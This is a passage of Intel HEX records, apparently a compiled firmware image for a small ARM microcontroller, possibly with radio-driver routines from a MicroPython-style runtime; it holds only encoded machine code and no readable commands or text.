:100DB00000D14FE7019A6B1C9A420BD85300019364 :100DC000042B01D204230193019B3000990021F0F0 :100DD00008F9060003231C4207D1104B22689A42EF :100DE00003D1200022F089FB0400E6210AAAFF318A :100DF0003800FFF7D9FD0AAA002101200C9420F049 :100E0000E5FFAB00F450F31802355860CCE7C0465C :100E100098CC02006CD10200FCC1020040BB020071 :100E20006B02000070B50C0086B0150083071AD164 :100E300003681F4A934202D01E4A934213D102AA6A :100E400001A90BF063FE019BA3422AD319D8029B90 :100E5000A4001C19221FA34201D106B070BD116865 :100E6000140002C5F6E702A9FFF7EAFD0023060019 :100E70000193019B3000A34206D3FFF743FE0028F5 :100E8000EBD022000C490EE0FFF73CFE002808D012 :100E9000019A0A49A31A5B189B000132585101922A :100EA000E7E7019A0649074801F0BAFB06F0F8FAAD :100EB0006CD10200FCC10200E8060300FFFFFF3F07 :100EC000C5060300D0A60200F7B5FF260D00090AEB :100ED000354014000E4083072BD10368354A9342F6 :100EE00002D0354A934224D101AA69460BF00EFE86 :100EF0000098AB19834255D801998300B200CB18F2 :100F0000A218043B94420DD1AF00401BC919801BAD :100F100022F08EFC019B2060DF193A1F0434BB4293 :100F200003D1F7BD1F6880C4EBE71168170021608B :100F3000F3E70021FFF784FD002307000093009BE7 :100F4000AB4219D30021080022F072FC05003800E2 :100F5000FFF7D8FD011E1CD1AB68B34222D3B2000B :100F6000A418991B25608A009B00043C9A4214D166 :100F7000280022F079FCD4E73800FFF7C3FD0028F1 :100F800010D0009AAB1A9B199B00013218510092A5 :100F9000D5E728000AF09AFBD9E7E86880580432C0 :100FA0002060E2E7009A0549054801F039FB06F0A8 :100FB00077FAC0466CD10200FCC10200C5060300EE :100FC000D0A60200F0B591B01D0006000C0017007D :100FD0000BF014FC334B984207D12B003A00210050 :100FE000300003F08FFD11B0F0BD826A2E4B002A55 :100FF00008D09C4230D13000904728600028F2D0C1 :101000000120F0E79C4227D1F92101AA49003000D4 :10101000FFF798FC019B002B0DD1D72101AA4900B5 :101020003000FFF7C1FC039401AA0021012020F049 :10103000CDFE2860E4E704A806F00CFA002807D1EA :1010400001AA010020F0C2FE286006F021FAD7E7CD :10105000059B2B600220C6E7002CDED138000BF088 :10106000CDFB124907F0CCFD01AA00280ED0104993 :101070003000FFF767FC019B002B10D001AA210074 :10108000200020F0A3FE28602000ACE709493000D2 :10109000FFF758FC019B002B01D00397C4E72F609A :1010A000D8E7C04650AC020024DD020098A202003E :1010B00019020000CD02000010B5040001F0F6FA9C :1010C000002808D0002320001A001900FFF7C2FBF7 :1010D0000400200010BD200020F0AFFF0028F8D150 :1010E0000249034820F0A5FFF2E7C0467D06030051 :1010F00058A602007FB5C30006201843054B019097 :101100000491052001A902930393059206F00EFABB :1011100007B000BD24DD02001423F0B58DB000AF90 :10112000FA1805000C00FFF70DFCBB69002B06D078 :1011300022002C492C4801F073FA06F0B1F97869C5 :1011400000284CD1280021F046FE0028F0D01423BE :10115000F821FA1828004900FFF7F4FB10227869FB :10116000B91808F013FBB860200026F042FA6A466E :101170003E69B968731C7B60C318FB600733DB08EA :10118000DB00D31A9D466D463200280028F003FA92 :101190002E23AB557B682000EB18BB6026F02EFA9F :1011A0000600200026F025FA31000200B86828F079 :1011B000F2F9F968280014F09BFAC30006201843DE :1011C0000A4B10223B627B62094BBA18BB620123B7 :1011D000FB620B33F861D118052006F0A7F9BD4674 :1011E0000DB0F0BDE6050300D4A2020024DD02002C :1011F000B4AD0200F0B5174C0F00616895B00391D3 :101200002168060008A804916260236006F022F9B4 :10121000051E06D0039B09986360049B236006F0BB :101220003FF933683A00310005A8019304F026FA2B :101230002B002A00019905A811F058FA20F0B7FDFB :10124000050006F025F92800039B6360049B2360DA :1012500015B0F0BD842E002010B5040012F03AFA4B :10126000031E054802D0054920F0ECFD2200044988 :1012700001F0D6F906F014F93CA402000C050300B5 :1012800035050300010010B5014820F0DBFDC04624 :10129000D0A60200F0B58BB004900F000392202876 :1012A00003D191420FD0AF4EBFE0049B1B2B01D066 :1012B0001E2B0DD1039938000BF032FB049B002844 :1012C00003D01B2BEFD1A84EAFE01B2BFBD1EAE7DD :1012D000049B212B3FD1039801F0E8F9002806D0A8 :1012E0000399380020F0AFFE0028ECD1DBE703249F :1012F000039B1C4005D1039A9C4B126805929A42AD :1013000023D0049B9A4A9B0038009C5822F0FDFC95 :101310000500039822F0F9FC2B000090220095496B :10132000954801F07DF947E1039BA20008339D58E1 :10133000280001F0BBF9002800D158E1290038004D :1013400020F081FE0028BED10134039B5B68059329 :10135000A342E9D8A7E70126314200D116E1039B59 :101360004D101E4000D1E7E05C10049B1D2BC8D837 :10137000180019F087FA1E0028002A002D004500E9 :101380004C004E0050005D0066007B008300B400FE :101390001E0028002A002D0045004C004E00500081 :1013A0005D0066007B008300CC00D000C6FFD40047 :1013B000D80025432E0070000300734000D5B6E02E :1013C0000126064331E06540F4E72C402600F2E7B1 :1013D000002C02DA6948FFF755FF1F2C0ADC684B26 :1013E0002341AB4206DBC0232E001B062341A6404F :1013F000AB42E0DDE917280021F031FB070049E0AE :10140000002CE7DB1F2C00DD1F242541D2E72E191D :10141000D1E72E1BCFE72100280009F0E5FA0028CC :10142000E8D1012665436D002E4330000BB0F0BDBE :10143000002C00D1DDE02100280022F0B2F80600E7 :10144000B9E7002C00D1D4E028001AF05BFB051CA2 :1014500020001AF057FB011C281C19F08DFE0323F5 :1014600002269843474B0643F618DEE7002C00D1CE :10147000BFE02100280022F084F8E0E72F00002CD4 :101480002ADA28001AF03EFB0323022798433D4B3B :101490000743FF1838000BF0B1F98369002B00D126 :1014A0002FE7039A39000498984756E001231C421D :1014B00006D03900300009F097FA00289AD17E430F :1014C000012C00D177E739003800641009F08CFA5C :1014D000002800D08EE77F43002CE7D16BE7002C7B :1014E00000D186E00021022011F004FB210006005B :1014F000280022F056F8012740003843B060210050 :10150000280022F03EF8B8400743F7608DE7A54277 :1015100000DAD8E6C7E6A54200DDD4E6C3E6A54278 :1015200000DCD0E6BFE6A54200DBCCE6BBE630003F :1015300021F0A4FA060078E70323039A1340022B54 :1015400024D1114B1340062B20D028001AF0DAFAD0 :10155000039A011C049803F0E1F8061E00D064E72A :10156000CFE6C046ACAD0200B4AD02006CD10200C3 :101570006CB702007805030058A60200630503005B :10158000FFFFFF3F00008080070080FF049B1F2BB0 :1015900000D07FE703980BF031F983690400002B3A :1015A0000CD1636A002B11D1039822F0AEFB1349D2 :1015B0000200134801F034F805F072FF3A00039975 :1015C00004989847061E00D02FE7EAE706A903987B :1015D000FFF736FA04002000FFF794FA002800D144 :1015E00061E639000BF09CF90028F4D06BE6039516 :1015F00087E60449044820F025FCC046CA050300DC :1016000058A602009D0503000CA70200010010B5BA :10161000014820F017FCC04658A60200F8B50400A7 :101620000D0017001E00002908D018680BF0E6F81E :101630006368834202D00548FFF7E8FF33003A00B1 :101640002900A068FFF706F9F8BDC046F4040300BE :1016500001214000014310B5024820F0E3FC05F0F1 :101660001FFFC046F0A40200010010B5014820F0A1 :10167000E9FBC046B4A40200184BF7B530CB0F000D :10168000160001281AD94B68154A934207D09907CA :1016900011D114491C688C420DD11C001D00022878 :1016A0000CD0BB68934209D09A0704D10D4A19683F :1016B0001C00914202D00020FFF7A8FF01A9386862 :1016C00008F064F8019A01000023102026F00AF9BE :1016D0002A0031002300FFF78DFDFEBD842E00207F :1016E00024DD020098CC0200F7B50020224A234EE8 :1016F00012783368111D4900CC5A5F18598801903F :10170000013084466405640D4C431D49A4120968E8 :10171000787807270500BD43F82D1ED06546C00820 :101720008540A1272800A025FF00ED050132E851E2 :10173000D2B2101D4000C55A1F186D0558886D0D96 :1017400068438012001BE3D00B4C2270019A002AE0 :1017500002D00B4A33601160FEBDA020094A5C68CC :10176000C0058450002902D10A000C00E1E762465E :101770000B0001920021F7E7CE2D00203C01002054 :10178000400100200C05000030B572B600220E4B5F :1017900018681A6062B6904210D10C4B0C4A1B6854 :1017A0000C48934200D010001C78002104705A8825 :1017B00042805A6842600822A14200D330BD9D5A3F :1017C000013185520232F7E7400100203C01002040 :1017D0004401002074010020044B054A1A600023D4 :1017E000044A1360044A13707047C0463C0100204D :1017F000C09A020040010020CE2D002010B57822B2 :101800000249022012F090FF10BDC046E916000008 :10181000421E084BFF3A10B504009A4207D8FFF762 :10182000B3FF054B241144801860002010BD012037 :101830004042FBE740410F0040010020044B1B6881 :10184000002B01D1034B1B68588800017047C0462C :10185000400100203C010020F7B53D4A04000D0086 :101860000B00914200D913008022D200D31A0193B9 :10187000FFF78AFF0122A24046680092164207D174 :101880002300A0210327C133FF339B00C9055F500C :10189000002703789F4206DB002D01D0132B0BD9C4 :1018A0002C4B1860F7BD391D490042185278D208F8 :1018B000944243D00137EDE7009A191D324342604C :1018C000019A490055050A5A6D0DD20AD2022A43DF :1018D0000A525205E400520F4118144301334C7070 :1018E0000370851C012225E0009A013BDBB2964380 :1018F00003704660BB42F4DD04335B001B5A0B529D :10190000EFE72F00131D5B00195A2E894905490D79 :10191000531E1C1D6400245A6405640D8C4204D9B6 :10192000FC88023F7C81013BF3D205335B001E52F1 :101930000132023503789A42E3DBB1E7002DD3D0C0 :10194000019B5A050B5A520DDB0ADB021343D6E703 :10195000FF0300004001002070B500210400FFF7E4 :101960007BFF00210D4B18680578A94200DB70BD94 :101970000B1D5B00C3185A78161CD208944201D084 :101980000131F2E70822524232435A700123A0216A :10199000A340034AC9058B50E9E7C0463C0100203B :1019A0000C050000054B10B5186826F0C0FA044B72 :1019B000002800D1034B180010BDC046682A002043 :1019C000B4AD0200ACAD020010B5034B186826F0B0 :1019D000B6FA024810BDC046682A002024DD020085 :1019E00010B5034B186826F018FB21F047F810BD1E :1019F000682A002010B5034B186826F015FB21F06B :101A00003DF810BD682A002010B5034B186826F079 :101A100012FB21F033F810BD682A002010B5034BEB :101A2000186826F0BDFA21F029F810BD682A0020B8 :101A300030B593B012F0C6FD184C200026F0BDFE64 :101A4000174D286815F058FD200026F0BBFE12F057 :101A5000A9FD22F00EFA20F017FA0400296803A865 :101A600026F05BFA0F4B20000A93039B0B93049B19 :101A70000C93059B0D93069B0E93079B0F93089B5E :101A80001093099B0193119320F02BFC200020223E :101A90000AA902F037FD044813B030BD702A0020B7 :101AA000682A002055BA11C024DD0200F8B5114D96 :101AB0000400286826F03BFA002802D12000FFF736 :101AC000B7FF0D4B1B78002B0DD10C4E3478E4B2D0 :101AD000002C08D101272868377003685B68984795 :101AE000054B34701F70286815F0E2FD20F0C6FF2A :101AF000F8BDC046682A0020CF2D0020D02D002040 :101B0000F0B58DB020F0C0F90E4B02689A4217D1A3 :101B100004694168089444698268C36809948469C7 :101B2000C0690A9484466C4605910692079308A8FA :101B3000E0C8E0C4604620600348006826F0D7F99A :101B40000DB0F0BD55BA11C0682A002010B50400D0 :101B5000082020F028FA024B4460036010BDC04604 :101B6000FC9B0200014BD8607047C046842E0020C9 :101B7000034B82B0D86801ABC01A02B07047C046B0 :101B8000842E0020014B18617047C046842E00202F :101B900010B54E21024820F045FA05F081FCC04600 :101BA00068A5020007B5054A01ABD1681269CB1AD6 :101BB0009A4201D8FFF7ECFF07BDC046842E0020F3 :101BC000F0B5802787B02B4D02907F422C78002CF7 :101BD0001CD063B2002B12DA6E787C40E4B2002E87 :101BE00014D0013CE4B2FF2C02D101350135EDE700 :101BF00004ABD81D0121067013F018FFF1E704AB08 :101C0000D81D0121047013F011FFEFE7052702989A :101C100025F01FFD0124A74227DD0025164E2200D6 :101C2000290030000CF0B0FA6B4601901B79002BB4 :101C300015D0631E1A002900300003930CF0A4FA9B :101C4000031E0CD12200290030000CF069FAFF229B :101C5000019B290013403000621E0CF061FA01352F :101C6000052DDBD10134E4B2D5E7013F002FCED101 :101C700007B0F0BD100703002400002010B5C820F5 :101C8000FFF79EFF004810BD24DD0200F7B5037882 :101C90000400002B01D10020FEBD402B20D10123E8 :101CA0000193002304221E001D001900944622788F :101CB000002A3ED101200029EEDC002DECDC002EB4 :101CC000EADC033B8342E7D9013C23785C2BE3D079 :101CD000019A002ADFD00A3B581E8341D8B2DBE7C5 :101CE0003F4920F0E2F80028D9D13E49200020F0F9 :101CF000DCF80028D3D13C49200020F0D6F8002899 :101D0000CDD13A49200020F0D0F80028C7D1384979 :101D1000200020F0CAF80028C1D13649200020F068 :101D2000C4F80028BBD13449200020F0BEF801904F :101D3000B7E76078272A0AD1002B46D0032B02D1BF :101D400027284AD143E0012B47D8012244E0222A28 :101D500011D11A006746BA4309D1222805D1A278C9 :101D6000222A02D10234624636E0002B01D0022B37 :101D700033D1022230E05C2A0AD1272803D022285E :101D800001D05C2804D11A00501E8241A41824E01E :101D9000002B22D15B2A12D006D8282A0DD0293A4E :101DA00050425041091A18E07B2A0AD07D2A0AD0F5 :101DB0005D3A504250412D1A0FE001310DE00135DE :101DC0000BE0013609E0013E07E02728BDD1A278EB :101DD000272AB8D10234243AD31A013467E7C0461F :101DE000228D0300BA070300C0070300C4070300E5 :101DF0009B840300C7900300C6130300F0B58BB0AB :101E0000079343180390049201930093009B5C1E78 :101E1000039BA34201D9009310E0207813F084F9CA :101E2000002801D00094F1E7207813F089F9002808 :101E3000F8D123785F2BF5D02E2BF3D07E4B1D6885 :101E4000009C019B9C4202D223782E2B21D1009B27 :101E5000E71A019B9C4241D300242600029401947E :101E6000AB68A34256D8019B002B00D084E0009BB6 :101E7000039A93422FD1714C3A002100180027F0A9 :101E80007CFB002827D1079BE41907301C60C01B8E :101E900022E00134D5E70136AB68B3421BD9F30029 :101EA0000293EB68F20098580028F4D00428F2D08E :101EB00009A907F06BFC099B0100BB42EBD13A007A :101EC000009827F0DFFB0028E5D1EB68029A9B1809 :101ED0005868002804D100200BB0F0BD0026DBE7D5 :101EE000032318420CD10368554A934205D120F0D0 :101EF00057FD0500631C0093A2E7524A934201D0AC :101F00000AF07CFC856B002DE5D04F4B2A689A4285 :101F1000F0D0E0E7EA68E300985800281CD00428D5 :101F20001AD009A907F032FC099B06900593BB4221 :101F300012D301003A00009827F0A4FB00280BD12F :101F4000029B002B12D03B009E4202D3059A9A427C :101F500004D2019B01330193013481E7029AD15CE1 :101F6000069AD25C914205D10133EDE7069B059EAE :101F70000293EEE71E00ECE7019B012B01D0BE426D :101F800055D9029B079ADB191360F01BA4E7029B4B :101F9000EA68DB00985800282CD004282AD009A928 :101FA00007F0F4FB099B03900593BB4222D3010089 :101FB0003A00009827F066FB019000281AD1330000 :101FC0000F220F33DC171440E41824112401A41B42 :101FD000012C00DC1034059A33199B18402B1FD8B4 :101FE000019B9C4214DC0399049820F030FF099B6C :101FF000F6183619029B01330293AB68029A93429A :10200000C5D81249049820F022FF0120404263E71E :102010000F49049820F01BFF019B01330193DFE778 :10202000039A0C49049820F0D0FF099EE2E70023B0 :1020300040260293E1E7C046842E0020AE0703004D :102040006CB20200B8B8020098CC02008E6F030098 :10205000E15A0300B6070300F0B50E00110000229C :1020600085B0B71C03901C0030000D4B0092BF00E0 :1020700000F064F938001FF096FF46600600050086 :10208000039B083F03600836E719BC4202D12800D1 :1020900005B0F0BD002101CCFEF7D2FC01C6F4E78B :1020A000FFFF0000F7B5019111490400160000255B :1020B00020F0CDFE7368AB4204D80E49200020F01A :1020C000C6FEF7BD002D03D00B49200020F0BFFE57 :1020D000019BAF00DA590949200020F076FF330058 :1020E00008330122D95920000AF0A0FB0135E1E7AD :1020F000311A0300BD420300C8070300CB070300E9 :10210000F0B58BB00600080011001A0010AB1F7864 :10211000314B05AD01950093052300F03FF9912067 :1021200000011FF040FF2D4B04A91860059B47607C :1021300043706B682A4F0370AB6804008370EB68D0 :10214000C3702B7C30003B6007F020FB0025254B43 :1021500003900C201D601FF026FF234B0600036038 :102160000AF032F9B0600AF02FF9204B204A1860CB :10217000204B11001D70204B70601D701F4B3000F4 :102180001D602B0009F0F2FF2000049A039920F053 :10219000C8FC200004F08AFB0400A84207D109F023 :1021A000EBFE0E4B1C60164B1868FFF76BF8012214 :1021B000144B1A700AF002F90028FBD1124B943329 :1021C00018603B68002B04D00C4B104819681EF0B7 :1021D00095FF07480BB0F0BD189D0200182F002096 :1021E000FC010020A8010020649D0200A401002041 :1021F00024DD0200D32D0020D12D0020AC010020D1 :1022000018000020D22D0020842E0020CF070300CC :1022100000220D4910B50B78DBB2934210D10B4A66 :102220001478002C02D001240C701370084B1B781A :10223000002B07D0074A136820331360064B1A6837 :10224000100010BD8268FBE7D12D0020D22D0020A8 :10225000D32D0020A8010020A401002073B501A9FE :1022600007F094FA019B06001648502B17D88020DF :1022700040001FF098FE144C0500230094331860B2 :102280000023019A9A420CD15B232800AB540CF036 :1022900005F80022904209D1943420600B48FEF7E3 :1022A000F1FFF15CE9540133ECE70132AB5C9B2BAD :1022B000FBD12900064820F0E5FF00239434236079 :1022C00076BDC046DE070300842E0020EC07030025 :1022D00040BB0200D2235B005843134AF0B5136899 :1022E000000C834206D9114C236801332360136824 :1022F000203B13601F23050001270D4E9D431468EA :10230000A5420CD803401A1D202A00D92022094CCE :1023100024680434934204D3074B1860F0BD37702F :10232000EDE7E1540133F5E7A8010020AC010020FE :10233000D32D0020A4010020B001002010B51C0006 :1023400002AB1B78002904D0002B02D10E48FFF706 :102350005DF9A24207D1824214D003000B490C4818 :1023600000F05EF906E0824206D9121A09490848CF :1023700000F056F905F094F8844203D203002200DD :102380000549ECE710BDC046020803002B08030016 :1023900058A602006408030096080300F0B5002464 :1023A000170087B00C9D039004910593029401944B :1023B000059B9C4206D1019B039A934240D225483B :1023C000FFF724F9039B9C4213D26B889B05F6D43C :1023D000019B049A01330193A300D058FF226B881C :1023E000A6001340012B24D10AF02AFC0D9B98551E :1023F00017E0062329880022C9001943380014F089 :10240000D7F9002810D16B88DB0506D52A88124938 :10241000124800F005F905F043F80D9A6968A30029 :10242000D15001340835C3E7029B40680133029361 :10243000D4E7022B01D10AF0C5FA0D9B9851F0E7C1 :102440003B68029ADB08934201D90548B8E707B018 :10245000F0BDC046DC080300C508030058A6020012 :10246000FD08030010B5034A0349044820F0ADFD00 :10247000034810BDF3090300B707030034B7020097 :1024800024DD020010B5034A0349044820F09DFDF5 :10249000034810BD1B090300B707030034B702004F :1024A00024DD0200030010B50548002B03D11FF006 :1024B000B3FD04F0F5FF09681FF0B4FDF9E7C0466D :1024C0001CA6020010B5034809680AF0D3F90248B7 :1024D00010BDC04634B7020024DD0200F7B50D0080 :1024E000110000220600009228001F000B4BFFF78E :1024F00025FF10201FF064FD041E08D1084B094A77 :10250000094C5A62002326602000A360FEBD3900FA :10251000280010F0EFFAE060F4E7C046FFFF00008B :10252000842E002064D102009C2E002010B50138BA :1025300010C910F0DFFAE060004810BD24DD020091 :10254000F8B57F2453B205000E0017001440002B8D :102550001BDB631E012B18D80B68586825F04EF85A :102560000100280020F073FC022C12D11049280031 :1025700020F06DFCF368002B02D05A68002A0ED1BF :102580000C49280020F063FCF8BD022CEED0002C92 :10259000F0D03A00F168280010F050FAF4E7012A70 :1025A000F7D10022996828000AF040F9ECE7C0460C :1025B0008A140300C3120300C36803485A68002A40 :1025C00000D098687047C04624DD0200136810B53B :1025D0001400002B0BD0FC23FF33994206D10C4B87 :1025E00052689A4202D10023C380236010BD094B78 :1025F000994201D1C368F8E7074B02689A42F5D1C6 :10260000064B9942F2D1FFF7D7FF2060EEE7C046B4 :1026100024DD020003020000A4A50200E302000082 :102620000EB470B5050087B010201FF0C9FC041E61 :102630000BD11A4B1A4A1B4C9D6118625A6220003A :1026400007B070BC08BC03B018470021056081606A :10265000012010F04FFA2521E06005000B9826F0CC :10266000F2FF061E09D10B9827F005F83200010091 :102670000B9806F037FCA860E1E702A8102124F0CF :10268000C3FE0CAA0B9902A8019212F099FF02A9AD :102690000548E56806F0F0FBEDE7C046842E002013 :1026A00064D102009C2E002040BB020010B5030044 :1026B000820708D1064A0168914204D1054AD968C7 :1026C0000120914203D00449180006F099FA10BD88 :1026D000B8B80200DD240000E4A1020010B5040037 :1026E0000AF08CF8034BC2689A4200D02469002398 :1026F000A36010BDDD240000F8B516001D00040025 :102700000F000AF07BF8154BC2689A4200D024698A :10271000A068002811D10C301FF052FCA0600028E6 :102720000AD003236360E288A1689300CB180332C8 :10273000E2801F605E609D60F8BDE388A18802337F :102740008B42F0DB0331890001221FF057FC002887 :10275000F2D0A388A0600333A380E4E7DD24000067 :1027600070B5150004000E000AF048F8064BC26868 :102770009A4200D02469A368002B02D133602B60F9 :1027800070BDE2883260FAE7DD2400000A4A0309DE :1027900013400A4A000110401843094A83081340B5 :1027A000084A800010400343074A58081040074A6F :1027B0005B001340184370470F0F0F0FF0F0F0F05D :1027C00033333333CCCCCCCC55555555AAAAAAAA11 :1027D000044B054A05491A60002205481A719960A0 :1027E0009A817047B401002000200A07746962755D :1027F00024DD020002220B4B10B5DA670022012112 :10280000094B5A61094A11615A69002AFCD0084CE7 :1028100088342068002803D01FF0F4FB00232360D5 :1028200010BDC04604E100E0FC1000400010004074 :10283000842E002070B5FFF7DDFF0323314D6E7845 :10284000AC782B70744320001FF0ADFB00222E4BA0 :102850000419883318602D4B86191C602C4B0121FC :102860001E602C4B5A608022D20511605A68002AE3 :10287000FCD00422284CAA56284BE250EA78043BAC :10288000E2506A7B0833E250AB6818BAFFF77EFF6C :10289000234BE050287BFFF779FF0022214BE050CB :1028A000214B0820E2506978C0250B02194382238E :1028B0005B040B43A321C90063501C4B1C49E2502D :1028C0001C4B6D00E1501C49043BE15001211B4BA6 :1028D000E2500433E1501A4BE650C1239B00E05014 :1028E000184B06385851186080239B00E250164B55 :1028F0005A6061605A68002AFCD000221A610123E4 :10290000A36070BDB4010020842E0020C801002007 :10291000C4010020FC000040001000400C05000035 :102920001C0500002405000014050000340500000B :10293000FFFF00003C050000211001002C050000F5 :102940000405000000E100E0FC10004010B5FFF7B6 :1029500071FF014810BDC04624DD020010B5FFF72D :1029600049FF1D23054C6370054BA3604923237366 :10297000FFF760FF04230348237010BDB40100205B :1029800026877D2F24DD0200F8B5FFF733FF0223F1 :102990002224304D2B70AB785C4320001FF003FBEA :1029A00000222D4B0419883318602C4B22301C60F8 :1029B0002B4B012118602B4B06005A608022D20558 :1029C00011605A68002AFCD004220127AA56264C1E :1029D000264BE250EA78043BE2500833E750AB68FC :1029E0006F7318BAFFF7D2FE214BE050287BFFF738 :1029F000CDFE204B204AE050204B2149E250214A95 :102A00000433E2500022204B2048E2500433E750C8 :102A1000022363501E4960501E48043960501E490D :102A200008206650C121890060501C497930FF3070 :102A30000B500B60FF33FF33E250194B5A60676055 :102A40005A68002AFCD000221A6101231548A360AD :102A5000F8BDC046B4010020842E0020C80100202B :102A6000C4010020FC000040001000400C050000E4 :102A70001C050000240500000600030014050000EA :102A800034050000260004012C050000FFFF0000B3 :102A90003C050000211001000405000000E100E0F9 :102AA000FC10004024DD020070B52825FFF7A2FECF :102AB0002A4C2B4B2380A3785D4328001FF073FA28 :102AC000284A451915600022274B012188331860D8 :102AD000264B28301860264B5A608022D2051160A0 :102AE0005A68002AFCD00421224B6156224A995090 :102AF000E178043A9950617B0832995000215524BD :102B00001E4A99501E4A9C501E4A1F4C995004322E :102B10009C501E4A1E4C99501E4A9C501E4C043A12 :102B20009C501E4AC0249850C12208209200985000 :102B30001B4A0638640010511060802292009950A0 :102B4000184A51600131596051680029FCD00021B8 :102B50001161012214489A6070BDC046B401002082 :102B600001260000C8010020842E0020C40100209E :102B7000FC000040001000400C0500001C05000097 :102B80002405000014050000282801013405000078 :102B9000FFFF00003C0500002110010004050000BB :102BA00000E100E0FC10004024DD020010B5FFF75A :102BB00021FE014810BDC04624DD0200F8B5002604 :102BC000FFF718FE324C6778A578013701357D4351 :102BD00028002670E6731FF0E6F9802201212D4BB4 :102BE0004519883318602C4BC7191D602B4BD20533 :102BF0001F602B4B5E6011605A68002AFCD00421D4 :102C0000284B6156284A00209950E178043A99509F :102C1000617B08329950A168244A08259950217B8C :102C2000234A244E99500121234A98500432995046 :102C3000224A9D508122647892042243A324E40016 :102C40001A5102221E4C1A511E4C1E511E4E043C9B :102C50001E5118261D4C1E511D4C1F51C124A4008D :102C60001D511C4C7935FF35625122608024A4002F :102C70001D590E322A431A51174A50605960516843 :102C80000029FCD00021116101229A60F8BDC046E4 :102C9000B4010020842E0020C8010020C4010020BF :102CA000FC000040001000400C0500001C05000066 :102CB00024050000FFFF00002C05000014050000A3 :102CC000340500003C0500002110010054050000FF :102CD0000405000000E100E0FC10004010B5FFF723 :102CE0006DFF014810BDC04624DD0200064B10B543 :102CF00088331B68002B05D1044905481FF099F95A :102D000004F0CEFB10BDC046842E0020700B0300E3 :102D1000D0A60200F7B5FFF7E9FF0221A320214B5F :102D2000C000D967204B214A1C58214801930078E4 :102D3000002803D11F4F11603800FEBD1E4B1F4EEF :102D400088331B68E4B21C193368A342F2D023789D :102D50003F201D008543C02DECD10340191C202BC2 :102D600000D92021C9B20531601C06F0D3F8144BFC :102D700035685B780700E1186A1A2000009326F096 :102D800013FC009B019AED1A0E4B3560D5500022C2 :102D90000D4B1A610123019A9360044ADB181360FA :102DA000CAE7C04604E100E00010004000E100E096 :102DB000D800002024DD0200842E0020C401002061 :102DC000B401002004050000FC100040F7B5040029 :102DD000FFF78CFF0222534B534DDA67534A2B689F :102DE0001078052800D99BE017F042FD039A4F6A3E :102DF0006A80A3224E49D2008E584E4AF6B28832DB :102E00001268013696199E4205D102234A4A4B4C5C :102E100013602000FEBD3778002C1DD1701C3900D6 :102E200006F078F8791CFF432B6871185A1A0400D1 :102E30003000019326F0B8FB019BDF192F60296851 :102E40003B4B3F4A995000213E4A116101229A6052 :102E50000223394A1360DCE7022F0DD97378012B66 :102E60000AD1B278002A07D1F378012B04D1F91ED8 :102E7000301D06F037F8D5E702232F4A3249136098 :102E800032481FF0D6F804F00BFB2A4A883210684B :102E9000070022379F42B8D0C31CDE7F24303100A8 :102EA00006F038F82B68B11C79185A1A040038005B :102EB000019326F079FB019B9E1B023E2E60BEE72C :102EC00057781C4A88321668F6199E429DD0390000 :102ED000300006F01FF82B68F1195A1A0400300070 :102EE000019326F061FB019BDF1BA7E7114A8832A3 :102EF000126817002D379F4200D186E733321678CB :102F000038000836310006F005F82B68B9195A1A4E :102F100004003800019326F047FB019B9E1BCDE780 :102F2000064C8CE704E100E0C4010020B40100205D :102F300000100040842E002000E100E024DD0200AB :102F400004050000FC100040E40B0300D0A60200C2 :102F5000074B10B51B7800209A1E032A02D9002BBC :102F600003D10120FFF732FF10BDFFF7D3FEFBE7CF :102F7000B401002010B50902074B4840013AD2B213 :102F8000FF2A07D004B2410088B2002CF6DA59407B :102F900088B2F3E710BDC04621100000082310B529 :102FA0000902074A484004B2410088B2002C01DA05 :102FB000514088B2013BDBB2002BF4D110BDC046BA :102FC00021100000F0B507008DB01500002805D0D5 :102FD0008F4990481FF02DF804F062FA8E4B08AA32 :102FE000180052C852C21100042602680A605A78BA :102FF0009E5706929A780592DA7802929A68009221 :103000001A7B01925A7BDB7B039204936B68BB4271 :103010005FD9FB000793AB68FA009B181A68002A77 :1030200034D0042A32D0586809F0F8FCAB68FA00B2 :103030000400985805F078FFB623FF330200984249 :1030400033D00CD8B423FF33984221D027D8013B8A :10305000984215D071497248FFF7E2FABCE7B823ED :10306000FF3398422DD026D3013398422BD06D4B9D :103070009842EFD1012C00D9C7E0E3B2049305E0F8 :10308000631EFA2B00D9C0E0E3B206930137BDE717 :10309000631EFD2B00D9B8E0E3B20593F6E7642C7C :1030A00000D9B2E0E3B20293F0E7072C00D9ACE01C :1030B0005D4B1E57EAE7032C00D9A6E0E3B2039369 :1030C000E4E70094E2E7FF2C00D99EE0E3B201932D :1030D000DCE7564B08AC88331B68002B17D1069BE6 :1030E00026716370059BA370029BE370009B0A939B :1030F000019B2373039B6373049BE373464B07CCD1 :1031000007C31A002368136049480DB0F0BD069B41 :10311000414D6370059BA370029BE370089A454B79 :1031200029681A400B409A4212D0FFF763FB009BBC :1031300026710A93019B2373039B6373049BE373C0 :103140002B0007CC07C322681A60FFF737FDDBE7C7 :103150000222394B394DDA670023394C6B61013358 :1031600023616B69002BFCD0009A08AB0A92019A8C :103170001E711A73039A5A73049ADA73264A11005D :10318000944685CB85C11B682E4F0B602E4BE650B5 :1031900063461B782D4E052B0ED0A1220299D2003A :1031A000A15003990832A150002B0ED0012B22D13F :1031B0000023A35155330BE002981EF06DFFA123AD :1031C000DB00E050029A224BE250009BA351019B8E :1031D000E35100236B60013363606B68002BFCD00C :1031E0000023C02102222B610133A360194B490047 :1031F0005A501A6088E7009B18BAFFF7C7FAA05127 :103200000198FFF7C3FAE051E3E7134923E7C0460B :10321000850B030058A60200B4010020A90B03008F :10322000D0A60200EA020000680B0300842E0020F2 :1032300024DD020000FFFF0004E100E0FC1000407C :1032400000100040240500000C0500001C050000D3 :103250005405000000E100E0BF0B0300F0B5A74BF0 :103260008FB05A68002A04D00022A5495A60013262 :103270008A601A69002A26D00027A24D1F612B7888 :10328000BB4222D1A3239E4A9F48DB00D458026848 :10329000E3B211788B4201D2190014708024984D4A :1032A000E4002C59012C0BD1984C02335B18246894 :1032B000D3189C4204D30131954B52180260EA5056 :1032C00001238F4A93600FB0F0BD012B00D094E032 :1032D0008D4B6E781C683200210004A826F05BF943 :1032E000EB7B002B71D101930FE004AB01211F2276 :1032F00018000191002A64D0DC7F997F6410C90115 :103300002143D977013B013AF4D204AB5C79A41094 :10331000282C52DC04AAA3189E79DF7972027F0060 :1033200017431B7A7FBABFB27F2B02D980235B0081 :103330001F430025631D7748029304ABE95C082214 :10334000FFF718FE029B0135AB42F6DA7F2331000E :1033500001229943FFF70EFE40BA80B2B8422CD149 :1033600000236D4E05223370674B04A91D6840236E :103370005B4223432B70681C26F00DF92A000932AA 